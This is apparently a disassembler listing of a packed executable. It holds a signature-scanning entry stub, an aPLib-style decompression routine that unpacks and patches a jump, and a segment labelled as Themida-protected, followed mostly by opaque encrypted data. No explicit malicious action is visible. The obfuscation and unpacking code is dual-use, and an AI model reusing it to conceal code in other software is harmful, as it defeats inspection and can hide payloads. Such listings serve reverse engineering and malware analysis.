add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53BC74 mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53BC74 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 153329Ch, 752FCFEh, 61747365h, 70413372h, 78D32E8Bh dd 0D5D508E7h, 87702491h, 1721F95Fh, 91D7FD08h, 5723DC22h dd 0C211455Eh, 33437E37h, 0DF7723DCh, 8D703691h, 5401DE75h dd 696D6568h, 1DC26164h, 0C29845D4h, 8F01701Eh, 3FC201F1h dd 5C92C457h, 457E7721h, 7537C271h, 215C35E4h, 0DCB5A7F7h dd 7740D17Ah, 0D770DBFAh, 2B343078h, 0DFF1312Dh, 8503CC63h dd 0E4BB013Bh, 1CAF18E7h, 0D485C58Bh, 0A00E860h, 0ABED815Dh dd 6030332h, 13F19589h, 1DB50D08h, 6185841Bh, 0BD830104h dd 70A71h, 0E88B0C74h, 0B852E2E4h, 0E3C23DA5h, 8E244470h dd 800D793Eh, 0E830456Ah, 9A6829A3h, 7833D74h, 0F0ADF28h dd 0A894B25h, 0E984D548h, 608A0214h db 0FAh, 1 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h pop eax out dx, al pop edx or [ecx+13399EAh], al mov ebx, edx mov dword ptr [ebp-28h], 0E630823h inc eax mov [edi], ebx or [ecx+1D80987Dh], al jz short loc_4E0374 iret ; --------------------------------------------------------------------------- dw 820h dd 450383E6h, 4312FF61h, 368DE1EBh ; --------------------------------------------------------------------------- loc_4E0374: ; CODE XREF: Themida_:004E0363j fsub qword ptr [ecx+26h] ror cl, 1 retn 450h ; --------------------------------------------------------------------------- dd 0C41A8146h, 3902FF7Ch, 8D10E249h, 8B058045h, 85C7085Dh dd 28501911h, 0D1020A8Dh, 411888C3h, 810BA289h, 5D0688BDh dd 27E3750Ah, 0A3BA8D50h, 8075B064h, 0BB0E128Ah, 0B85B40F4h dd 785437ABh, 30D0D33Fh, 754B080Fh, 14AFECF7h, 4A4647C3h dd 0F98A4691h, 61D18A42h, 1DD0E88Ah, 0EE627FF0h, 4D82FC45h dd 0AD8F04EBh, 3E804623h, 0BAF74014h, 9834DB84h, 64EB0C7Dh dd 33F83E7Fh, 0F012216Dh, 0A0F40E32h, 65C14A10h, 0D60450F0h dd 0E0D10EF8h, 2858C203h, 8A07DB33h, 0FB80301Ch, 0F0A7233h dd 577390Ah, 99BCEB4Fh, 0FD611422h, 660A9F0Dh, 0D71E08DBh dd 0AB0AC3D3h, 411A0C10h, 460A0B72h, 24067737h, 5D0186A8h dd 0F41CECF0h, 2C67D83h, 0CD0CB072h, 0D9A576C0h, 0F82690AAh dd 0DA8D8173h, 553BA880h, 822A0FFCh, 0B070BD78h, 9438AA6Fh dd 380838BAh, 0FC702AB9h, 3528BD10h, 470FFE00h, 0B9FA7549h dd 6A772271h, 0FD01BB38h, 0EB82F11Bh, 8E60C70Ch, 0E370B86h dd 65510704h, 0FF1D360Dh, 42268AB9h, 580E907h, 0DFC01059h dd 0F1086160h, 79C32C62h, 262EDE8Ch, 2F0A9966h, 8B75F4C8h dd 0C447A01h, 67610F14h, 687F4E9h, 0F75C62FCh, 34CB93DEh dd 3982E087h, 76005B4Eh, 51B8100Fh, 0F8D1043Dh, 0C346EC3Bh dd 2E097556h, 0E0111ABh, 65E4EC48h, 53400690h, 1905C584h dd 0E11E968Eh, 4151E53h, 8C0329C2h, 0E7820571h, 0C8D20E6Eh dd 778186FFh, 1D002204h, 0F984C134h, 0C8207533h, 0BB3B3FBCh dd 30EF330Ah, 0EC419902h, 0CF7F8CC4h, 40C8FFCCh, 0E9F54567h dd 626028h, 4D8C52C4h, 0AA821125h, 0AB66B142h, 1384845Ah dd 5D65653h, 29EE825Eh, 10F78150h, 8A3E36E7h, 8113B9A8h dd 434A9723h, 86105706h, 0F6541502h, 0FA0EB4D9h, 0AEDA8D67h dd 99E22A81h, 0F0CAE400h, 0EB0B3286h, 3A3F3891h, 0E9530C6Bh dd 39211104h, 8A0CC45Bh, 453C2555h, 211508CCh, 0C4530043h dd 1AD881AAh, 923486C8h, 4500BC1Fh, 0E285C482h, 0EA651AB2h dd 0C3011717h, 85189AD4h, 0AE50C40Ah, 6E031F24h, 0E18AF98Bh dd 1885145Ah, 8038110h, 0CA08FA0Eh, 8AE91429h, 17D7C783h dd 60FDFAD8h, 2AC8820Ch, 0F2541A76h, 14B9185Bh, 0EEA101Eh dd 7100A3A4h, 0DF9E8179h, 12C5CAE8h, 15B9C9C2h, 0E70E1B23h dd 0EC872AF7h, 4552D1DEh, 4A122EAh, 629C12AEh, 0E0F5BC83h dd 0CF48229h, 4FC33484h, 615E834h, 393C1Fh, 0A39E7D5Ah dd 7BE3160h, 87A0DABCh, 0BA5430C4h, 0B703FA41h, 0EA089079h dd 0FD350011h, 0F949FBC7h, 0D100B11Bh, 0CD6FD5A3h, 0D9E76Ah dd 0C3F0828Eh, 0FA5F674Ch, 0FBFFACDh, 73CFC287h, 24E9B578h dd 32FE08CFh, 80EBEA94h, 9BEE582Bh, 766C0043h, 221DA309h dd 0FF01D5B3h, 6B4DAC05h, 0E8B0401Eh, 532BC133h, 0D0007679h dd 427844C6h, 0FA3C5669h, 94980762h, 17BA6D29h, 0EA5011A1h dd 0EE0B6452h, 56825400h, 77038D6Bh, 0E24F0098h, 0BB2F062Ah dd 0FF00C042h, 5BB87DD5h, 0F4360D8Bh, 4D70CCh, 7F92BB2Eh dd 1D9F5314h, 6047183Fh, 27132518h, 3A4B0056h, 51192D26h dd 0A23D0A44h, 2901F424h, 0F8B0AA17h, 688726F5h, 205C8301h dd 47857A6h, 0AFDEF700h, 0FB247DFAh, 0EF2A3099h, 5AB14270h dd 0B4F3DD00h, 96CCC529h, 32EB0AFh, 88BE4877h, 287038A7h dd 0F61FAE03h, 0F0217866h, 1EC2A6E1h, 8032209Fh, 1C8E5953h dd 9700FF01h, 217F4A2Bh, 3736D50h, 98C9353Fh, 99A0826Bh dd 80FA856h, 808DBDD7h, 0A7EB1C91h, 3B423029h, 709CBBF1h dd 0D04A350Ch, 77FA9FFh, 0C82CF81Dh, 0ACCFD34Eh, 0A8FEF007h dd 7E735D7Ah, 8768921Ah, 39DCD49Ah, 9D7ECFh, 91084B6h dd 2968B159h, 0F7085100h, 0AD9F968Bh, 0E02F1E0Eh, 399FEFh dd 7A178FD4h, 0DDF00922h, 5338B600h, 0CA071E2Dh, 2C48DF8Ch dd 0D6E2007Ah, 0DC94B4F4h, 0C3DA7000h, 0ABF0DFCFh, 287D601Dh dd 69B1A1D4h, 0D77A4500h, 0C2DD885Eh, 15F4C03Bh, 0C0C438EDh dd 80FA3D18h, 302B8859h, 168025F8h, 0C900235Fh, 3C03AAFCh dd 18833393h, 612F9021h, 0AC1F140Ah, 0CA063463h, 181831C4h dd 5198A69Ah, 93319B86h, 26AC1838h, 3E7C39BAh, 431E7675h dd 901D00D0h, 8049C197h, 0D6D940Ah, 7D818068h, 3FE6246h dd 34A427F8h, 193367h, 0C298E492h, 1300F915h, 0D05E0278h dd 2A1E80h, 0F9993FAh, 0DCD2584h, 1088211Bh, 0DE1B9838h dd 795E7029h, 0F831003Eh, 0E0C9F0B1h, 20606661h, 0ABD50F61h dd 85A4003Fh, 0FB37E82Ah, 0EA008802h, 2507E616h, 2093E6Dh dd 9C0A8151h, 908D9456h, 891AFC71h, 3AF13266h, 28611428h dd 0C7056CFDh, 0A2C8AE0h, 807879ECh, 3EDA691Fh, 0AE128BDBh dd 10025904h, 0A195A586h, 7EAD9AA4h, 0DFB6B048h, 0C8210639h dd 5DFC198Fh, 5878D807h, 69109FF8h, 3D5FA0h, 2F76BCE6h dd 0BB39B610h, 41346630h, 45424Bh, 7424A9ABh, 521C869Ah dd 6D2C41EAh, 63006BC7h, 64E3018Bh, 0D4815435h, 0F08952DDh dd 48030271h, 708D4131h, 0D6FD6AC0h, 5E746100h, 0BF8B3D99h dd 0F4B32487h, 0AA1B8230h, 9CA0880Bh, 0BFF68FEFh, 0DDF04E60h dd 249C1614h, 8190B14Fh, 7FE8C3Bh, 7A108CC6h, 18088064h dd 5034C7CCh, 0FA3328F6h, 0F587D136h, 3F9C8C40h, 0CCA8F5Ah dd 996EBBA6h, 29581870h, 0E4A1232h, 0FCB66000h, 4916AA52h dd 0D400645Dh, 360C2FA9h, 0B600B519h, 0AF288ABAh, 3C2EB343h dd 93BE887Dh, 21750E00h, 639E8CC5h, 0D09E892h, 221E871Ah dd 0A090CA00h, 2C0838CCh, 9C9E8F8h, 430CE7E6h, 0CBB35580h dd 4F005EC0h, 0B4515361h, 12DD1667h, 87419DFh, 878A331Ch dd 0A680B899h, 367E695Ch, 0D3E20E35h, 0A967DBB3h, 844C809Ch dd 0F005B1Bh, 992B3828h, 0E48C0725h, 354828B4h, 0F6900A98h dd 0BBB8BF57h, 8163DA80h, 30516C6Ah, 21582C13h, 7BB40442h dd 0E2546434h, 0D0131EAAh, 0C278A465h, 82212F91h, 0EFBA9Ch dd 51F61320h, 92E0B677h, 52889160h, 0C09688DDh, 0A9BC0FC9h dd 733F6572h, 488B804Ch, 0AD900A30h, 0B41E6138h, 96C1A3BBh dd 11050h, 156D63BEh, 0C397181h, 82774FD4h, 4ED00AB0h dd 0C9CCA03Ch, 3F5DACE2h, 26B088B6h, 93C0B550h, 7E7B0D1Dh dd 19035517h, 0C8BEEED1h, 7F3C75F1h, 1EAEE4Ah, 84D4B647h dd 30A654BDh, 8A00D005h, 8B1702E6h, 0E227AEDFh, 0B7694CE0h dd 10F1D918h, 617D407Ch, 7671B001h, 92C6391Dh, 0C50360h dd 0F4689E54h, 75E401F3h, 0F515EE00h, 4E98CFBFh, 1AD00108h dd 9A93CD7Ah, 0CE2C056h, 0C2C0384Ch, 3363A87h, 1BF2261Fh dd 15F00C48h, 503BAC3Fh, 0D41402D4h, 688338Bh, 2E032624h dd 0F872429h, 0D3D4808Ch, 36AAD06Ah, 0E8004E7Dh, 2C7CA57Fh dd 32A4021Ah, 0AC4023F0h, 0F30028C4h, 0C64B688Ch, 7102B7h dd 0F6954777h, 0B9C3DF55h, 5661501h, 1660E2A4h, 0D1D33440h dd 795338C2h, 2666E880h, 0AD848ACAh, 0A381AF16h, 9A684618h dd 397E40B2h, 989C280Ch, 2676180Fh, 40CC673Fh, 1A32C694h dd 351C2300h, 3A86C480h, 0F7FB09A1h, 288A0E98h, 282402Ch dd 0D400393Bh, 0EF871914h, 707515Ch, 93AA6676h, 75413F4Eh dd 401E0BAEh, 15D8E39Ch, 0CFDFC500h, 9C0833A8h, 880A627Ch dd 5064AE0Eh, 911C6830h, 39ED25Ch, 65B8F9F8h, 0D3B3B745h dd 7958822h, 6ABA9FC3h, 17B50B4h, 1B02F623h, 0B3AAF0BFh dd 9DA4487Eh, 2454B055h dd 40A4881Ah, 6ABEBC2Ah, 20B2B491h, 0C482128Fh, 0A7047364h dd 16F09900h, 398094C8h, 0F1FC005Ch, 77C64602h, 76005DF7h dd 6D5529A6h, 206AA0Ch, 59CF30E7h, 2C81921Ah, 8F110328h dd 0DD6EFE1h, 13E05105h, 44B498F5h, 9012A722h, 0EC007F7Eh dd 0FF17C883h, 28DA90F2h, 49C1BA8h, 0A58DE1D9h, 5ACD098h dd 200DD0E2h, 7180E58Eh, 0F0101EC9h, 65B852F7h, 0B9B2990Bh dd 0A474220Fh, 968C2007h, 0C4A0C38Bh, 0D80ADF75h, 4842FF28h dd 24BF3804h, 859F480h, 8E0A4B4h, 0C4A39E6Ch, 4C83E01Eh dd 0FE3C0829h, 0D81E0C38h, 0B4C88AB2h, 9AAFC406h, 9F986ABh dd 8B38C8DDh, 121420A7h, 0BC800464h, 216E51EFh, 50090D28h dd 65FF9E5Ch, 6C05B568h, 80405E87h, 0BC791712h, 0DD500F7h dd 0BE4C9F98h, 833E8C42h, 44A380DBh, 0AC52F0E6h, 5DF83303h dd 2BBA7768h, 4886D0A0h, 3202F404h, 1BC42678h, 0A6A0C0F6h dd 0A810E705h, 2E625738h, 800228B0h, 5E519044h, 30A4EEDEh dd 1E189CAh, 2500490Ch, 12765BECh, 9305A9Eh, 7A5803F1h dd 0A29BCA0h, 0B49D6BCh, 0C2901758h, 0DE526042h, 50524319h dd 882318A1h, 0F9D28F21h, 0C3022016h, 0C903A68Ch, 78604DE4h dd 899160CAh, 1FC101A2h, 0DB79800h, 0A30E6C6Dh, 8D2900E3h dd 688F6182h, 306F28AFh, 1A510038h, 0D5575B74h, 6835C08h dd 0A8E05D21h, 0B6FC0DBDh, 3DF03819h, 9CC83AB0h, 0C7848AAh dd 41B32850h, 0F524301Dh, 0C027AC88h, 80B412B9h, 93008E68h dd 5BD1869Bh, 2858CF9h, 7E889C48h, 0F4C305FBh, 0DD5F40F4h dd 0F2ED3Eh, 30CEA73Ch, 2DC5261Eh, 0E209EF02h, 0E858A37Fh dd 0A4C81F84h, 7BF40180h, 1D87989h, 0B24FC047h, 232ACE0Eh dd 5E72203Eh, 0E128921Ch, 0E6C07472h, 9F1B418Fh, 9C73F415h dd 93E1178h, 0C5879E82h, 40FB503h, 76E0A749h, 0AC80808Dh dd 28B0EFD7h, 1C42320h, 581B6F50h, 56D387DEh, 908B1EE8h dd 0B694B0F7h, 2A1F646Eh, 0D10037D4h, 74CB9B66h, 0C8130024h dd 2E516755h, 166647CCh, 12922788h, 8833F2FEh, 4707A880h dd 0AC9F2FB8h, 2A10A219h, 814CE2B4h, 0CB434E3Ch, 26CDB448h dd 736EE2h, 0A4CA4404h, 61034784h, 0AD9A2876h, 8829548Bh dd 0E083604Fh, 18853501h, 2304E0EAh, 0B6F4167Bh, 37EB4C81h dd 8BDDD007h, 0C86053FEh, 99E7CA10h, 518D63ABh, 0B1001D68h dd 475DFF44h, 0F99B1Fh, 517ECC03h, 391602DFh, 299A8D30h dd 0F83B2410h, 29C30F53h, 0B4ABB7D0h, 0A3807810h, 0F18C57E5h dd 74BC13A8h, 0F4026EA0h, 0FEF0D61Ah, 3BF83EBh, 0B28022Ch dd 7EA38DE3h, 306C34C9h, 4280368Ch, 35C70A19h, 9846D89h dd 74800A3Bh, 5328E077h, 4ED98C18h, 24400F90h, 80E41687h dd 0F674107Fh, 48D21F6Fh, 0C287B821h, 40A40704h, 3D30DCA7h dd 1C0DF69h, 81A3D4B4h, 5BAE6E00h, 2081C545h, 0F2A40B41h dd 0B39A0179h, 207CF463h, 8C0D2ACCh, 38AB67AEh, 40ACDC20h dd 76F89014h, 73814A60h, 0C27FB89Ah, 12895541h, 8130B0A0h dd 0C07E1A5Dh, 9B9C6500h, 88A7DE57h, 0B0296566h, 7D8C88CCh dd 9D1104A7h, 34889B06h, 0AA173840h, 0C04FE403h, 297549A5h dd 6E4CA2ACh, 0AF470032h, 5380BA37h, 590D6089h, 0F51C46BCh dd 44AC580Fh, 6C1392C5h, 7881D840h, 0B257FF0Ah, 940C5318h dd 7E23C7Ch, 1071C21Ah, 0B5093018h, 8721B709h, 0CBB38084h dd 93EAC46h, 905B380Ah, 0B4047409h, 119CA042h, 66C8D963h dd 961000C9h, 5DCA510Dh, 54E01FF9h, 52E66D05h, 3C835741h dd 23291862h, 0D244E1FDh, 8C607A00h, 997212Dh, 28135138h dd 0A178B402h, 0D7D8AC8Ch, 320AAC48h, 2E1C39Fh, 8233DC2h dd 2942A368h, 4189FACh, 15614E41h, 84C9CC08h, 3B4F606h dd 2403794Ah, 0CC01F22Ah, 40214CCDh, 3B100411h, 0ABB28AE5h dd 16031850h, 9513DB4h, 5A5FA80h, 1C43D40Bh, 7B007073h dd 0B013B5C0h, 151C484h, 2BFBEBF8h, 98547633h, 0E04135D0h dd 16AB24DDh, 1502BD20h, 0FE45E25Ch, 0CB9FA880h, 4D0A35B8h dd 98BE117Fh, 0A5105211h, 683582F0h, 0AC6720CEh, 0AC917F86h dd 0D6D9501h, 0C8D38D02h, 188D579h, 91627EABh, 0FAE63E30h dd 0D40394A4h, 8B08C808h, 2F431F0Bh, 7ED882D3h, 1025060Ah dd 71240430h, 56F57B6h, 0B399EE8Fh, 2A9C42E2h, 28B402D1h dd 1ED05654h, 5D0628A7h, 22587AF1h, 70183ADh, 0CF23C733h dd 0A0CB4934h, 0A82E8820h, 58EABA0h, 91E29362h, 24403CD0h dd 4A20BD3Fh, 28605840h, 2308B19h, 7012A9D6h, 872725B2h dd 41986039h, 2B31DD33h, 0FF28583Ch, 0BCA46A54h, 44FD4E26h dd 0BD08584Ah, 343C1431h, 0E085E7A8h, 293E1679h, 8DFE1401h dd 381188D6h, 60F2D100h, 2F8B2701h, 0FAB1B643h, 0BC4A4847h dd 0C1B4CD9h, 619F9E8Dh, 0FC312EC0h, 0BEFA88E8h, 39314B9Eh dd 0C462B29Ah, 0A9734019h, 883D0881h, 0FD0C398Eh, 71349219h dd 25BF00B4h, 0BC75AA17h, 0A40444B9h, 769CABF1h, 40AC18C2h dd 3EABE70h, 280487C0h, 81023201h, 233D4A5h, 4520B189h dd 59CABC48h, 292478EEh, 808989Ch, 0DE3EE015h, 56B70910h dd 9E10220Ch, 4125002Ah, 7E0367F9h, 0B6E430CAh, 205DF0E6h dd 897600BAh, 5F3BE504h, 221EC6B7h, 741DC9F2h, 0CA1D80FEh dd 0F9E903D8h, 8C810064h, 0DB6CDC3Ch, 5503C674h, 0F44764Ah dd 0C7B0A898h, 0DE2000D0h, 0DD78E662h, 0CEF21D88h, 40E40E30h dd 218A23h, 74EEBEE1h, 5AC05928h, 0A200D472h, 8A335F37h dd 62E235h, 84B7B3D5h, 5ACEC35Bh, 0EBF9EE00h, 0E11ACF2Ch dd 0B972F078h, 41015F0h, 0F850F9AAh, 12CE7C50h, 7BEF32Ch dd 50D2ADD8h, 0DD02D362h, 8264F800h, 0BCD0E339h, 0F6B27AE6h dd 3FC5011Eh, 79279F96h, 40BE81h, 23BBA9B6h, 9615458h dd 29A193D4h, 2036E100h, 0D7F289DAh, 18DBCD00h, 9C0B3AD9h dd 817803F9h, 0B7DE22D0h, 58B14000h, 0ED67CB5h, 683307A2h dd 3035CD86h, 0A1B2E834h, 0D5299800h, 27DF663Ah, 43B72678h dd 0A96D0048h, 541B37A4h, 38487C26h, 942E8012h, 2D5A00BAh dd 0BCE81ECDh, 0C67100DBh, 0D6614758h, 3000A199h, 258A285Ch dd 1EEFBCE2h, 40DB9B74h, 0EE59CDCAh, 81005E26h, 33E429D3h dd 1E5DB2F0h, 8078BE55h, 0EA1FF3CDh, 2800C922h, 48C269Dh dd 0C1A19A3h, 0A0CDCCCBh, 24EA7B40h, 5DE4E341h, 614B021Eh dd 3BD5CE3Ch, 0DC3AE441h, 0EF00799Fh, 1891DDB0h, 1F0F3DCBh dd 0C01C2DEEh, 33E130CFh, 22019EDBh, 3C6B4953h, 8C6631D0h dd 2A40F0ABh, 8C7E0050h, 0DB6DDC1Eh, 0C403AD9Fh, 0D08866B8h dd 8A64E9A2h, 0F06DEE00h, 0DDB7B100h, 0ED99C20h, 59F900F5h dd 9F29C77Eh, 0B207EAC5h, 5E48C824h, 3CDD6220h, 0CE82181Dh dd 0A7AB211Fh, 0B0C31900h, 28A165D8h, 0CE8A011Ch, 0D572E221h dd 0B958D4AFh, 3897400h, 2D6386A2h, 9F2E1639h, 0B6DC00BFh dd 0D35B1C92h, 0F3E40A00h, 2CD4C31Bh, 0E93300E0h, 7B5929BBh dd 0F3ED677h, 241D019Fh, 33E835CFh, 4B4AC60h, 0CCC61EE1h dd 1B08CDC3h, 22A0FF04h, 94004B67h, 5D496F30h, 7EF1617Eh dd 2D3114F9h, 1AA3411h, 0BF2C9944h, 52F86E20h, 7E9300F3h dd 68B13C11h, 1CAC7F4Dh, 24238718h, 0AC0510h, 0FC499CD1h dd 7A7BD53Ch, 1CB42812h, 128EACB0h, 0A02137F6h, 0C7E9364h dd 0C1AABB27h, 24E81038h, 166E094Dh, 9072B8F3h, 84E09B00h dd 380722A6h, 20EC14D1h dd 0A0DF1CB2h, 0A64328B6h, 2EF0E99Bh, 79E11CCh, 4603575Ch dd 277250A2h, 0ED01D1AAh, 0B407F315h, 50413258h, 21101DEFh dd 0F1CE378Dh, 0B15F854Bh, 1998B4h, 0A81BDE58h, 0B20DC54Ch dd 7A240995h, 507200CCh, 0BDAB0ADEh, 2D02AD55h, 5F0C3328h dd 81545667h, 0F1B3988Ah, 25F6F0D8h, 2829D6F6h, 0ED1EE406h dd 6E52E8B0h, 0B49A8034h, 88CB354h, 206588ECh, 0CC0A29B8h dd 52405075h, 46A825DEh, 1E22DCh, 0ADDE4A74h, 1BD40814h dd 164882FBh, 5EBE33ACh, 28513CE4h, 6277B4F0h, 884D181Ch dd 0E5802476h, 38937C92h, 66EA006Eh, 3693E70h, 8146B30h dd 7E9C6D25h, 0DE57048Ch, 6254A81Ah, 4F732016h, 0D10053DEh dd 94D2D751h, 4E9B2BDh, 142C27A8h, 8840AC17h, 4E7125Bh dd 9081CB8Ch, 4DEA1D48h, 8D065907h, 64062D6Dh, 34209508h dd 0E24E723Eh, 478F6B00h, 1B750E9h, 0C48401ABh, 894F332Bh dd 69E1800Eh, 8BEDC05Bh, 2523075Dh, 4F216D84h, 0C3488072h dd 0F400C063h, 19D54FEFh, 3EDEB2D4h, 0E2B99B8Fh, 4CA588BDh dd 0A2D1C043h, 0A0E4406Bh, 8C036359h, 52E03EBFh, 0B84FC079h dd 0A313028Fh, 0C95410E2h, 4E7868A0h, 5D46065Bh, 40009922h dd 3D884E60h, 23578D9h, 0EF360DF3h, 24481A68h, 0F8071599h dd 0D2769AC3h, 0FCD60210h, 14B490DDh, 0A4250F9Ch, 0D80A5204h dd 3AB8E8AEh, 8DF58028h, 40A78CEDh, 60909593h, 9680556Dh dd 65692509h, 21B03448h, 0A858F212h, 0D38FA4B0h, 5068F409h dd 37F45903h, 0D261A1B6h, 55C5612h, 8352B14h, 0EBC017E4h dd 4606584Dh, 932295h, 534E7343h, 6E460428h, 70F40300h dd 0A08CEB1h, 32A3EE9Fh, 18583331h, 124DEC30h, 38FD0657h dd 74004410h, 0F001354Eh, 1556F799h, 0E42887E9h, 0BC20945Ah dd 5AE180D4h, 8A7259h, 2325E9ACh, 140CC029h, 7D668420h dd 392A6060h, 865E68E5h, 0B3E40D00h, 550741DFh, 9BFC046Dh dd 81306A56h, 76648C8h, 1413AA10h, 648C070h, 19BAB027h dd 0BBB55006h, 9185FAEh, 46AD9A0Fh, 0CBAA1CA1h, 21E0D38Dh dd 79C77488h, 0DBE90B28h, 7BCF807Ch, 82DD7377h, 0EF9501Ch dd 84915B44h, 7C20E787h, 95D93E1Dh, 1190882Ah, 0C0568054h dd 8C458BEAh, 1C85744h, 63E4C05Eh, 310C0728h, 0CC1F9B0h dd 44A8A416h, 502D5B8Fh, 2448CD61h, 482098h, 3DD2237h dd 0A409E216h, 91E435E1h, 59814DA8h, 0A28C77C0h, 664454A0h dd 0C06100C9h, 0E9C7FA08h, 0F830797Fh, 1D65858h, 4F0200D1h dd 8EF3EDFEh, 4154A407h, 0A6309AD0h, 614AB984h, 0C55A041Bh dd 0CB4C0A0Fh, 0C01CC8C8h, 9E0558D0h, 6DFA0700h, 0EFA66C06h dd 0A2C38022h, 7808BC33h, 0BA65A71Eh, 5E880C92h, 69A1806Ch dd 0D78B0BB0h, 3B03501Dh, 80B60CC8h, 9D91602h, 0AC265311h dd 84226CD0h, 584CDBF8h, 6C121DABh, 0B33872C1h, 0F42270F6h dd 0C0676310h, 0A852F21Bh, 220F431Dh, 535E03ADh, 2BAE57F4h dd 28E1DBB8h, 2C2708E2h, 4484088h, 0B063209Eh, 45A40C05h dd 0DC487EC5h, 0C05AC050h, 65468C06h, 0C4076122h, 0BA3DC062h dd 0ACB85281h, 2BA0402Bh, 0D116281Bh, 0AB37DFF0h, 65501930h dd 67117D2h, 0AE8C14AFh, 22489B7h, 0E708506Bh, 0E8012BCh dd 2297FCA0h, 0DB307200h, 0A81E08DEh, 2164C4F4h, 0DE536F40h dd 7E008C49h, 0B6293DCEh, 17302471h, 79622BCh, 715DE65Ch dd 3A480165h, 0F1442420h, 2AAA7E26h, 